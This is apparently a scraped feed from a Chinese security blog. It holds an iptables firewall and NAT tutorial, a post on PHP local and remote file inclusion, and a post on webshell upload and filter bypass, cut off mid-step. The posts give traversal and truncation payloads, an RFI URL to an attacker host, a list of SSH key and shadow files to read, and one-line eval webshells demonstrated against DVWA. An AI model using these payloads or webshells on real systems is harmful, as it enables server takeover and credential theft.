class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">[root@iptables ~]# iptables -A INPUT -i eth0 -s 172.16.0.0/12 -j DROP </code></pre></div><h3 id="常用隐含匹配条件">常用隐含匹配条件:</h3> <p><strong>1. 端口匹配</strong>:<strong>&ndash;sport [源端口]、&ndash;dport [目的端口]</strong></p> <p>单个端口号或者以冒号“:”分隔的端口范围都是可以接受的,但不连续的多个端口不能采用这种方式。</p> <p>eg:允许为网段192.168.1.0/24转发DNS查询数据包:</p> <p><code>[root@iptables ~]# iptables -A FORWARD -s 192.168.1.0/24 -p udp --dport 53 -j ACCEPT [root@iptables ~]# iptables -A FORWARD -d 192.168.1.0/24 -p udp --sport 53 -j ACCEPT</code></p> <p>eg:构建vsftpd服务器时,开放20、21端口,以及用于被动模式的端口范围24500~24600:</p> <p><code>[root@iptables ~]# iptables -A INPUT -p tcp --dport 20:21 -j ACCEPT [root@iptables ~]# iptables -A INPUT -p tcp --dport 24500:24600 -j ACCEPT</code></p> <p><strong>2. TCP标记匹配</strong>:<strong>&ndash;tcp-flags 检查范围 被设置的标记</strong></p> <p>针对协议为TCP、用来检查数据包的标记位(&ndash;tcp-flags)</p> <p>“检查范围”指出需要检查数据包的哪几个标记,“被设置的标记”则明确匹配对应值为1的标记,多个标记之间以逗号进行分隔。</p> <p>eg:拒绝从外网接口eth0直接访问防火墙本机的TCP请求,但允许其他主机发给防火墙的TCP等响应数据包请求:</p> <p><code>[root@iptables ~]# iptables -P INPUT DROP [root@iptables ~]# iptables -I INPUT -i eth0 -p tcp --tcp-flags SYN,RST,ACK SYN -j DROP [root@iptables ~]# iptables -I INPUT -i eth0 -p tcp --tcp-flags ! --syn -j ACCEPT</code></p> <p><strong>3. ICMP类型匹配</strong>:<strong>&ndash;icmp-type ICMP类型</strong></p> <p>ICMP类型使用字符串或数字代码表示:</p> <ul> <li>Echo-Request代码为8——表ICMP请求;</li> <li>Echo-Reply代码为0——ICMP回显;</li> <li>Destination-Unreachable代码为3——ICMP目标不可达;</li> </ul> <p>eg:禁止从其他主机ping本机,但是允许本机ping其他主机:</p> <p><code>[root@iptables ~]# iptables -A INPUT -p icmp --icmp-type 8 -j DROP [root@iptables ~]# iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT [root@iptables ~]# iptables -A INPUT -p icmp --icmp-type 3 -j ACCEPT [root@iptables ~]# iptables -A INPUT -p icmp -j DROP </code></p> <h3 id="常用的显式匹配条件">常用的显式匹配条件</h3> <p><strong>1. 多端口匹配</strong>:<strong>-m multiport &ndash;sports [源端口列表]</strong></p> <p><strong>-m multiport &ndash;dports [目的端口列表]</strong></p> <p>eg:允许本机开放25、80、110、143端口,以便提供电子邮件服务:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">[root@iptables ~]# iptables -A INPUT -p tcp -m multiport --dport 25,80,110,143 -j ACCEPT </code></pre></div><p><strong>2. IP范围匹配</strong>:<strong>-m iprange &ndash;src-range [IP范围]</strong></p> <p>用来检查数据包的源地址、目标地址,其中IP范围采用“起始地址—结束地址”的形式:</p> <p>eg:禁止转发源IP地址位于192.168.1.10与192.168.1.20之间的TCP数据包:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">[root@iptables ~]# iptables -A FORWARD -p tcp -m iprange --src-range 192.168.1.10-192.168.1.20 -j ACCEPT </code></pre></div><p><strong>3. MAC地址匹配</strong>:<strong>-m mac &ndash;mac-source [MAC地址]</strong></p> <p>因为MAC地址的局限性,此类匹配一般只适用于内部网络。</p> <p>eg:根据MAC地址封锁主机,禁止其访问本机的任何应用:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">[root@iptables ~]# iptables -A INPUT -m mac --mac-source 00:01:02:03:04:cc -j DROP </code></pre></div><p><strong>4. 状态匹配</strong>:<strong>-m state &ndash;state [连接状态]</strong></p> <ul> <li>基于iptables的状态跟踪机制用来检查数据包的连接状态(State)</li> <li>常见的连接状态包括NEW(与任何连接无关的)、ESTABLISHED(响应请求或者已建立连接的)、RELATED(与已有连接有相关性的,eg:FTP数据连接)。</li> </ul> <p>eg:禁止转发与正常TCP连接无关的非“&ndash;syn”请求数据包(如伪造的一些网络攻击数据包):</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">[root@iptables ~]# iptables -A FORWARD -m state --state NEW -p tcp ! --syn -j DROP </code></pre></div><p>eg:只开放本机的web服务(80端口),但对发给本机的TCP应答数据包予以放行,其他入站数据包均丢弃:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">[root@iptables ~]# iptables -I INPUT -p tcp -m multiport --dport 80 -j ACCEPT [root@iptables ~]# iptables -I INPUT -p tcp -m state --state ESTABLISHED -j ACCEPT [root@iptables ~]# iptables -P INPUT DROP </code></pre></div><h1 id="0x02-iptables防火墙规则的保存与恢复">0x02 iptables防火墙规则的保存与恢复</h1> <p>1、保存iptables的规则,避免开机失效</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">iptables-save &gt; /etc/iptables </code></pre></div><p>2、编辑网卡,写入开机加载iptables规则</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">vi /etc/network/interfaces </code></pre></div><p>3、 在网卡配置文件中写入加载 之前保存的规则文件 使其开机可以加载iptables的规则文件</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text"> iptables-restore &lt; /etc/iptables </code></pre></div><h1 id="0x03-snat和dnat">0x03 SNAT和DNAT</h1> <p>SNAT是指在数据包从网卡发送出去的时候,把数据包中的源地址部分替换为指定的IP,这样,接收方就认为数据包的来源是被替换的那个IP的主机。</p> <p>DNAT就是指数据包从网卡发送出去的时候,修改数据包中的目的IP,表现为如果你想访问A,可是因为网关做了DNAT,把所有访问A的数据包的目的IP全部修改为B,那么,你实际上访问的是B 因为,路由是按照目的地址来选择的。</p> <p>因此DNAT是在PREROUTING链上来进行的,而SNAT是在数据包发送出去的时候才进行,所以是在POSTROUTING链上进行的。 通过SNAT和DNAT可以使内网和外网进行相互通讯。#</p> <p>##SNAT策略概述</p> <ul> <li>SNAT策略的典型应用环境</li> </ul> <p>SNAT策略的典型应用环境</p> <p>​ 局域网主机共享单个公网IP地址接入Internet</p> <ul> <li> <p>SNAT策略的原理</p> <p><strong>源地址转换</strong>(Source Network Address Translation)是linux防火墙的一种地址转换操作,也是iptables命令中的一种数据包控制类型,并根据指定条件修改数据包的源IP地址。</p> </li> <li> <p>实验环境拓扑:</p> </li> <li> <p>实验分析:</p> <ul> <li> <p>a:只开启路由转发,未做地址转换的情况:</p> <p>分析:</p> <ul> <li>从局域网PC机访问Internet的数据包经过网关转发后其源IP地址保持不变;</li> <li>当Internet中的主机收到这样的请求数据包后,响应数据包将无法正确返回,从而导致访问失败。</li> </ul> </li> <li> <p>b:开启路由转发,并设置SNAT转换的情况:</p> <p>分析:</p> <ul> <li>局域网PC机访问Internet的数据包到达网关服务器时,会先进行路由选择;</li> <li>如果该数据包需要从外网接口eth0向外转发,则将其源IP地址192.168.10.2修改为网关的外网接口地址210.106.46.151,然后发送给目标主机。</li> </ul> </li> </ul> <p>b访问方式的优点:Internet中的服务器并不知道局域网PC机的实际IP地址,中间的转换完全由网关主机完成,起到了保护内部网络的作用。</p> </li> </ul> <h2 id="snat策略的应用">SNAT策略的应用</h2> <p>前提条件:</p> <ul> <li>局域网各主机正确设置IP地址/子网掩码</li> <li>局域网各主机正确设置默认网关地址</li> <li>Linux网关支持IP路由转发</li> </ul> <p>实现方法:</p> <ul> <li>编写SNAT转换规则</li> </ul> <p>SNAT共享固定IP地址上网:</p> <ul> <li> <p>实验环境描述:</p> <ul> <li>Linux网关服务器两块网卡eth0:210.106.46.151连接Internet、eth1:192.168.10.1连接局域网,开启IP路由功能</li> <li>局域网PC机的默认网关设为192.168.10.1,并设置正确的DNS服务器。</li> <li>内网和外网分别新建客户机,分别指定对应的网关地址,在外网客户机上开启httpd服务,在内网客户机中访问httpd服务,最后查看httpd客户机的访问记录;</li> <li>要求:192.168.10.0/24网段的PC机能够通过共享方式正常访问internet。</li> </ul> </li> <li> <p>实验步骤:</p> <p>1:打开网关的路由转发(IP转发是实现路由功能的关键所在):</p> <p>打开路由转发的两种方式:</p> <ul> <li> <p>永久打开(修改<code>/proc</code>文件系统中的<code>ip_forward</code>,当值为1时表示开启,为0表示关闭):</p> </li> <li> <p>临时开启,临时生效</p> </li> </ul> <p>2:正确设置SNAT策略(若要保持SNAT策略长期有效,应将相关命令写入rc.local中):</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">[root@localhost ~]# iptables -t nat -A POSTROUTING -s 192.168.10.0/24 -o eth0 -j SNAT --to-source 210.106.46.151 </code></pre></div><pre><code> 3:测试SNAT共享接入的结果: ​ 上诉操作完成后,使用局域网PC就可以正常访问Internet中的网站。 ​ 对于被访问的网站服务器,在日志文件中将会记录以网关主机210.106.46.151访问。 </code></pre></li> </ul> <p><strong>共享动态IP地址上网</strong>:</p> <ul> <li>MASQUERADE —— 地址伪装</li> <li>适用于外网IP地址非固定的情况</li> <li>对于ADSL拨号连接,接口通常为ppp0、ppp1</li> <li>将SNAT规则改为MASQUERADE即可</li> </ul> <p>实例:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">[root@localhost ~]# iptables -t nat -A POSTROUTING -s 192.168.10.0/24 -o ppp0 -j MASQUERADE </code></pre></div><p>如果网关使用固定的公网IP地址,建议选择SNAT策略而不是MASQUERADE策略,以减少不必要的系统开销。</p> <p>##DNAT策略概述</p> <ul> <li>DNAT策略的原理:</li> </ul> <p><strong>目标地址转换</strong>,Destination Network Address Translation,是Linux防火墙的另一种地址转换操作,也是iptables命令中的一种数据包控制类型,其作用是根据指定条件修改数据包的目标IP地址、目标端口。</p> <p>SNAT用来修改源IP地址,而DNAT用来修改目标IP地址、目标端口;SNAT只能用在NAT表的POSTROUTING链,而DNAT只能用在NAT表的PREROUTING链和OUTPUT链(或被其调用的链)中。</p> PHP文件包含介绍及一些利用方式 https://p0st3r.github.io/post/php-file-contains/ Tue, 11 Apr 2017 00:00:00 +0000 https://p0st3r.github.io/post/php-file-contains/ <h1 id="文件包含介绍">文件包含介绍</h1> <p>严格来说,文件包含漏洞是“代码注入“的一种。代码注入的原理就是注入一段用户能控制的脚本或代码,并让服务端执行。</p> <p>代码注入的典型代表就是文件包含。文件包含可能会出现在JSP、PHP、ASP等语言中。</p> <p>常见的导致文件包含的函数如下:</p> <ul> <li>PHP: include(), include_once(), require(),require_once, fopen(), readfile() ….</li> <li>JSP/Servlet: ava.io.File(),java.io.FileReader() …</li> <li>ASP:include file, include virtual…</li> </ul> <p>PHP文件包含主要由这四个函数完成:</p> <ul> <li>include()</li> <li>require()</li> <li>include_once()</li> <li>require_once()</li> </ul> <p>当使用这4个函数包含一个新的文件时,<strong>该文件将作为PHP代码执行,PHP内核并不会在意该被包含文件是什么类型</strong>。所以如果被包含的是txt文件、图片文件、远程URL,也都将作为PHP代码执行。</p> <p>比如DVWA low等级的文件上传</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php"><span style="color:#75715e">&lt;?php</span> <span style="color:#66d9ef">include</span>($_GET[<span style="color:#a6e22e">page</span>]);<span style="color:#75715e">?&gt;</span> </code></pre></div><p>在同目录留一个包含了可执行的PHP代码的txt文件</p> <p>再执行漏洞URL,发现代码被执行了</p> <p>要成功的利用文件包含漏洞,需要满足下面两个条件:</p> <ul> <li>include()等函数通过动态变量的方式引入需要包含的文件</li> <li>用户能够控制该动态变量</li> </ul> <p>下面我们深入看看文件包含漏洞还能导致哪些后果</p> <h1 id="本地文件包含">本地文件包含</h1> <h2 id="普通本地文件包含">普通本地文件包含</h2> <p>能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞(Local File Inclusion/LFI)。比如下面这段代码就存在LFI漏洞。</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php"><span style="color:#75715e">&lt;?php</span> <span style="color:#a6e22e">file</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">_GET</span>[<span style="color:#a6e22e">‘file’</span>]; <span style="color:#75715e">// “../../etc/passwd\0 </span><span style="color:#75715e"></span><span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">file_exisits</span>(<span style="color:#a6e22e">‘</span><span style="color:#f92672">/</span><span style="color:#a6e22e">home</span><span style="color:#f92672">/</span><span style="color:#a6e22e">wwwrun</span><span style="color:#f92672">/</span><span style="color:#a6e22e">’</span><span style="color:#f92672">.</span>$file<span style="color:#f92672">.</span><span style="color:#a6e22e">’</span><span style="color:#f92672">.</span><span style="color:#a6e22e">php’</span>)) { <span style="color:#75715e">//file_exists will return true as the file/home/wwwrun/../../etc/passwd exists </span><span style="color:#75715e"></span> <span style="color:#66d9ef">Include</span><span style="color:#a6e22e">‘</span><span style="color:#f92672">/</span><span style="color:#a6e22e">home</span><span style="color:#f92672">/</span><span style="color:#a6e22e">wwwrun</span><span style="color:#f92672">/</span><span style="color:#a6e22e">’</span><span style="color:#f92672">.</span>$file<span style="color:#f92672">.</span><span style="color:#a6e22e">’</span><span style="color:#f92672">.</span><span style="color:#a6e22e">php’</span>; <span style="color:#75715e">// the file /etc/passwd will be included </span><span style="color:#75715e"></span>} <span style="color:#75715e">?&gt;</span> </code></pre></div><p>用户能够控制参数file。当file的值为../../etc/passwd时,PHP将访问/etc/passwd文件。</p> <p>但是在此之前,还需要解决Include‘/home/wwwrun/’.$file.’.php’;</p> <p>这种写法将变量与字符串连接起来,假如用户控制$file的值为../../etc/passwd,这段代码相当于Include‘/home/wwwrun/../../etc/passwd.php’;</p> <p>被包含的文件实际上是/etc/passwd.php,但是实际上这个文件是不存在的</p> <h2 id="有限制的本地文件包含">有限制的本地文件包含</h2> <h3 id="00截断">%00截断</h3> <p>PHP内核是由C语言实现的,因此使用了C语言中 的一些字符串处理函数。在连接字符串时,0字节(\x00)将作为字符串结束符。所以在这个地方,只要在最后加入一个0字节,就能截断file变量之后的字符串,即</p> <p>../../etc/passwd\0</p> <p>在Web输入时只需URL编码一下,变成</p> <p>../../etc/passwd%00</p> <p>(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)</p> <h3 id="00截断目录遍历">%00截断目录遍历</h3> <p>?file=../../../../../../../../../var/www/%00</p> <p>(需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris)</p> <h3 id="防御00截断">防御%00截断</h3> <p>在一般的Web应用中,0字节是用户不需要的,因此可以完全禁用0字节,比如:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php"><span style="color:#75715e">&lt;?php</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">getVar</span>($name){ <span style="color:#a6e22e">value</span> <span style="color:#f92672">=</span><span style="color:#a6e22e">isset</span>(<span style="color:#a6e22e">GET</span>[<span style="color:#a6e22e">name</span>] <span style="color:#f92672">?</span> <span style="color:#a6e22e">GET</span>[$name] <span style="color:#f92672">:</span> <span style="color:#66d9ef">null</span>; <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">is_string</span>($value)){ <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span> <span style="color:#a6e22e">str_replace</span>(<span style="color:#a6e22e">“\0”</span>, <span style="color:#a6e22e">‘</span> <span style="color:#a6e22e">‘</span> , <span style="color:#a6e22e">value</span>); } } <span style="color:#75715e">?&gt;</span> </code></pre></div><h3 id="构造长目录截断">构造长目录截断</h3> <p>但是光防御0字节是肯定不够的。俗话说上有政策下有对策,国内的安全研究者cloie发现了一个技巧——利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。</p> <p><strong>目录字符串在Windows下256字节、Linux下4096字节时达到最大值,最大值长度之后的字符将被丢弃。</strong></p> <p>而只需通过【./】就可以构造出足够长的目录。比如</p> <p>././././././././././././././././passwd</p> <p>或者</p> <p>////////////////////////passwd</p> <p>又或者</p> <p>../1/abc/../1/abc/../1/abc..</p> <p>(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)</p> <h3 id="点号截断">点号截断</h3> <p>?file=../../../../../../../../../boot.ini/………[…]…………</p> <p>(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)</p> <h2 id="普通远程文件包含">普通远程文件包含</h2> <p>如果PHP的配置选项allow_url_include为ON的话(默认是关闭的),则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞(Remote File Inclusion,简称RFI)</p> <p>例如:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php"><span style="color:#75715e">&lt;?php</span> <span style="color:#66d9ef">if</span>($route <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;share&#34;</span>){ <span style="color:#66d9ef">require_once</span> $basePath <span style="color:#f92672">.</span><span style="color:#e6db74">&#39;/action/m_share.php&#39;</span>; } <span style="color:#66d9ef">elseif</span>($route <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;sharelink&#34;</span>){ <span style="color:#66d9ef">require_once</span> $basePath <span style="color:#f92672">./</span><span style="color:#e6db74">&#39;action/m_sharelink.php&#39;</span>;} <span style="color:#75715e">?&gt;</span> </code></pre></div><p>在$basePath前没有设置任何障碍,因此攻击者可以构造类似如下的恶意URL:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">/?param=http://attacker/phpshell.txt? </code></pre></div><p>最终加载的代码实际上执行了:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">require_once &#39;http://attacker/phpshell.txt?/action/m_share.php&#39;; </code></pre></div><p>问号后面的代码最终被解释成URL的querystring(查询用字符串),这也算一种截断方式,这是利用远程文件包含漏洞时的常见技巧。同样,%00也可以作为截断符号。</p> <h2 id="本地文件包含的利用技巧">本地文件包含的利用技巧</h2> <p>本地文件包含漏洞,是有机会执行php代码的,但这取决于一些条件</p> <p>经过不懈研究,安全研究者总结出了一下几种常见的技巧,用于本地文件包含后执行php代码。</p> <p>(1)包含用户上传的文件</p> <p>(2)包含data://或php://input等伪协议</p> <p>(3)包含session文件</p> <p>(4)包含日志文件</p> <p>(5)包含/proc/self/environ</p> <p>(6)包含上传的临时文件</p> <p>(7)包含其他应用创建的文件,如数据库文件,缓存文件,应用日志等,需具体问题具体分析</p> <h3 id="常见利用方式">常见利用方式</h3> <?phpinclude("inc/" . $_GET['file']); ?> <ul> <li>包含同目录下的文件:</li> </ul> <p>?file=.htaccess</p> <ul> <li>目录遍历:</li> </ul> <p>?file=../../../../../../../../../var/lib/locate.db</p> <p>?file=../../../../../../../../../var/lib/mlocate/mlocate.db</p> <p>(linux中这两个文件储存着所有文件的路径,需要root权限)</p> <ul> <li>包含错误日志:?file=../../../../../../../../../var/log/apache/error.log (试试把UA设置为“”来使payload进入日志)</li> <li>获取web目录或者其他配置文件:</li> </ul> <p>?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf</p> <ul> <li>包含上传的附件:</li> </ul> <p>?file=../attachment/media/xxx.file</p> <ul> <li>读取session文件:</li> </ul> <p>?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7</p> <p>(session文件一般在/tmp目录下,格式为sess_[your phpsessid value],有时候也有可能在/var/lib/php5之类的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值,也许你能够获得一个shell)</p> <ul> <li>如果拥有root权限还可以试试读这些东西:</li> </ul> <p>/root/.ssh/authorized_keys</p> <p>/root/.ssh/id_rsa</p> <p>/root/.ssh/id_rsa.keystore</p> <p>/root/.ssh/id_rsa.pub</p> <p>/root/.ssh/known_hosts</p> <p>/etc/shadow</p> <p>/root/.bash_history</p> <p>/root/.mysql_history</p> <p>/proc/self/fd/fd[0-9]* (文件标识符)</p> <p>/proc/mounts</p> <p>/proc/config.gz</p> <ul> <li>如果有phpinfo可以包含临时文件:</li> </ul> <p><strong>参考:</strong></p> <p>[1]《白帽子讲Web安全》,吴翰清</p> <p>[2] <a href="https://link.zhihu.com/?target=http%3A//blog.csdn.net/wangjian1012/article/details/51581440" target="_blank" rel="noopener">PHP文件包含漏洞总结 - wangjian1012的博客 - 博客频道 - CSDN.NET</a></p> 木马文件上传防御策略及几种绕过检测方式 https://p0st3r.github.io/post/webshell-upload-strategy/ Mon, 20 Mar 2017 00:00:00 +0000 https://p0st3r.github.io/post/webshell-upload-strategy/ <h1 id="0x01-中国菜刀连接">0x01 中国菜刀连接</h1> <h2 id="1-webshell">1. WebShell</h2> <p>WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WE目录下正常的网页文件混在一起,然后就可以使用浏览器或工具来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。</p> <p>通常来说,上传一句话木马通过中国菜刀连接是比较简便地拿到服务器的方法。菜刀可以连接asp、aspx、php、jsp的一句话木马。</p> <h2 id="2-一句话木马">2. 一句话木马</h2> <ul> <li> <p>asp:</p> <pre><code class="language-asp" data-lang="asp">&lt;%eval request(&quot;pass&quot;)%&gt; </code></pre></li> <li> <p>aspx:</p> <pre><code class="language-asp" data-lang="asp">&lt;%@ Page Language=&quot;Jscript&quot;%&gt;&lt;%eval(Request.Item[&quot;pass&quot;],&quot;unsafe&quot;);%&gt; </code></pre></li> <li> <p>php:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php"><span style="color:#75715e">&lt;?php</span> <span style="color:#f92672">@</span><span style="color:#66d9ef">eval</span>($_POST[<span style="color:#e6db74">&#39;pass&#39;</span>]);<span style="color:#75715e">?&gt;</span> </code></pre></div></li> </ul> <p>其中,pass是这个木马中的密码的值,也可以替换为其他字符。</p> <h2 id="3-一句话木马运作方式">3. 一句话木马运作方式</h2> <p>首先,可以把这个一句话木马插入到一个正常的网站文件中,asp的插入到asp文件里,php的插入到php文件里,其他同理。也可以把木马单独写在一个文件里,比如新建一个php文件,整个php文件内容就只有这一句话。</p> <p>插入的方法,一般来讲是通过文件上传功能,如作业上传网站、图片上传网站,将木马文件上传到目标网站的服务器 中,再将文件存储的链接添加到菜刀中,输入木马的密码即可直接拿到服务器的控制权。</p> <h2 id="4-简单的例子">4. 简单的例子</h2> <h3 id="编写php木马">编写php木马</h3> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php"><span style="color:#75715e">&lt;?php</span> <span style="color:#f92672">@</span><span style="color:#66d9ef">eval</span>($_POST[<span style="color:#e6db74">&#39;xxt&#39;</span>]);<span style="color:#75715e">?&gt;</span> </code></pre></div><p>将该php文件命名为 【xxt.php】</p> <h3 id="降低dvwa安全标准">降低DVWA安全标准</h3> <p>因为这里主要是介绍菜刀的连接方式,为了简便使用没有防备的上传点。</p> <p>在DVWA漏洞训练平台中,登陆后将DVWA的安全级别调整为low(见红框内)。调整之后选择 File Upload, 进入页面。</p> <p><img src="https://pic3.zhimg.com/80/v2-381443d25db71eac8b4694a43e87bd7a_720w.png" alt="img"></p> <h3 id="上传php木马">上传php木马</h3> <p>浏览文件,选择【xxt.php】,点击 Upload 上传。</p> <p><img src="https://pic3.zhimg.com/80/v2-dd7586fe7d712c460bf4c0258a16a61a_720w.png" alt="img"></p> <p>上传成功,显示了文件的保存路径。前两个省略号是指父级目录,因此文件的绝对路径为</p> <p> <a href="https://link.zhihu.com/?target=http%3A//127.0.0.1/dvwa-master/hackable/uploads/xxt.php" target="_blank" rel="noopener">http://127.0.0.1/dvwa-master/hackable/uploads/xxt.php</a></p> <h3 id="菜刀连接">菜刀连接</h3> <p>打开菜刀,右键—&gt; 添加—&gt;输入绝对路径和密码—&gt;添加</p> <p><img src="https://pic3.zhimg.com/80/v2-2ad1a31cafac7f0f47871bb86d5e272a_720w.png" alt="img"></p> <p><img src="https://pic1.zhimg.com/80/v2-92e754f28b20e5950617bb7586926030_720w.png" alt="img"></p> <p>最上方的就是我们刚添加的后门路径,双击即可查看服务器文件夹,并对其操作</p> <p><img src="https://pic2.zhimg.com/80/v2-e909f9b64f937d6ca2abdf188a6a8135_720w.png" alt="img"></p> <p>因为这个DVWA平台是在我的本地服务器搭的,所以这里的服务器就是我自己的电脑啦</p> <h1 id="0x02-文件上传防御策略">0x02 文件上传防御策略</h1> <h2 id="1--常见防御策略">1. 常见防御策略</h2> <p>在一般的网站中,是不可能直接让你上传木马文件的,都要对上传进行过滤。</p> <p>通常会有文件类型限制、文件大小限制等过滤方式。文件类型限制最为常见,一般有<strong>前台文件扩展名检测</strong>、<strong>服务器端扩展名检测</strong>、<strong>content-type 参数检测</strong>或<strong>文件内容检测</strong>。</p> <h3 id="前台脚本检测扩展名">前台脚本检测扩展名</h3> <p>当用户在客户端选择文件点击上传的时候,客户端还没有向服务器发送任何消息,就对本地文件进行检测来判断是否是可以上传的类型,这种方式称为前台脚本检测扩展名。绕过前台脚本检测扩展名,就是将所要上传文件的扩展名更改为符合脚本检测规则的扩展名,通过BurpSuite工具,截取数据包,并将数据包中文件扩展名更改回原来的,达到绕过的目的。</p> <h3 id="content-type文件类型检测">Content-Type文件类型检测</h3> <p><strong>Content-Type</strong>,内容类型,是网页请求中附带的参数,用于定义网络文件的类型和网页的编码,决定文件接收方将以什么形式、什么编码读取这个文件,这就是经常看到一些Asp网页点击的结果却是下载到的一个文件或一张图片的原因。</p> <p><strong>ContentType</strong> 一般参数有</p> <ul> <li>application/x-cdf 应用型文件</li> <li>text/HTML 文本</li> <li>image/JPEG jpg 图片</li> <li>image/GIF gif图片</li> </ul> <p>当浏览器在上传文件到服务器的时候,服务器对说上传文件的 Content-Type 类型进行检测,如果是白名单允许的,则可以正常上传,否则上传失败。绕过 Content—Type 文件类型检测,就是用 BurpSuite 截取并修改数据包中文件的 Content-Type 类型,使其符合白名单的规则,达到上传的目的。</p> <h3 id="服务器端扩展名检测">服务器端扩展名检测</h3> <p>当浏览器将文件提交到服务器端的时候,服务器端会根据设定的黑白名单对浏览器提交上来的文件扩展名进行检测,如果上传的文件扩展名不符合黑白名单的限制,则不予上传,否则上传成功。</p> <h3 id="文件内容检测">文件内容检测</h3> <p>一般文件内容验证使用getimagesize()函数检测,会判断文件是否是一个有效的文件图片,如果是,则允许上传,否则的话不允许上传。所以经常要将一句话木马插入到一个【合法】的图片文件当中,然后用中国菜刀远程连接。</p> <h1 id="0x03-绕过检测上传">0x03 绕过检测上传</h1> <h2 id="1-利用00截断上传绕过前台检测">1. 利用00截断上传绕过前台检测</h2> <p>比如某网站的上传点采用了前端扩展名检测,只允许上传图片文件,而我们要上传一个php木马,可以按照以下步骤</p> <ol> <li> <p>php木马伪装jpg文件</p> <p>先编写一个一句话木马,命名为【lubr.php.jpg】,因为扩展名检测是从文件名的右边往左读的,当读到第一个【. 】的时候,便通过扩展名确定这个文件的类型。这里就将 php 文件伪装成了jpg 文件。</p> </li> <li> <p>BurpSuite拦截改2e为00</p> <p>开启 BurpSuite 的【proxy】 功能,在选择 【lubr.php.jpg】 文件后,点击上传。</p> <p>这时上传文件的数据包不会直接发往服务器,而是要经由 Burp 来发送,我们在这里可以查看和修改数据包的内容。</p> <p>点击hex查看十六进制源码,如下图</p> <p><img src="https://pic1.zhimg.com/80/v2-7af67370ae3ba0e72478a6f9d9c190b4_720w.png" alt="img"></p> <p>找到 lubr.php.jpg 对应的源码,将 lubr.php 后的【.】 对应的【2e】改为【00】</p> <p><img src="https://pic2.zhimg.com/80/v2-38ab35d43d6572a7c8065e43573f6465_720w.png" alt="img"></p> <p>【00】对应【空】 ,注意【空格Space】不等于【空】</p> <p>点击 【forward】,即可成功上传文件</p> </li> <li> <p>菜刀连接</p> <p>获取php木马的绝对路径,略</p> </li> </ol> <h2 id="2-截断改扩展名绕过前台检测">2. 截断改扩展名绕过前台检测</h2> <p>与00截断类似,此方法也是通过截断数据包做修改来实现的。</p> <p>如果直接上传php文件,会被拦截。</p> <p><img src="https://pic2.zhimg.com/80/v2-9ca0771bd3632f20b6d58d08cba476ed_720w.png" alt="img"></p> <ol> <li> <p>准备一句话木马</p> <p>先写一个php一句话木马,然后在这里命名为 lubr.jpg,而不是php文件</p> </li> <li> <p>BurpSuite拦截改扩展名</p> 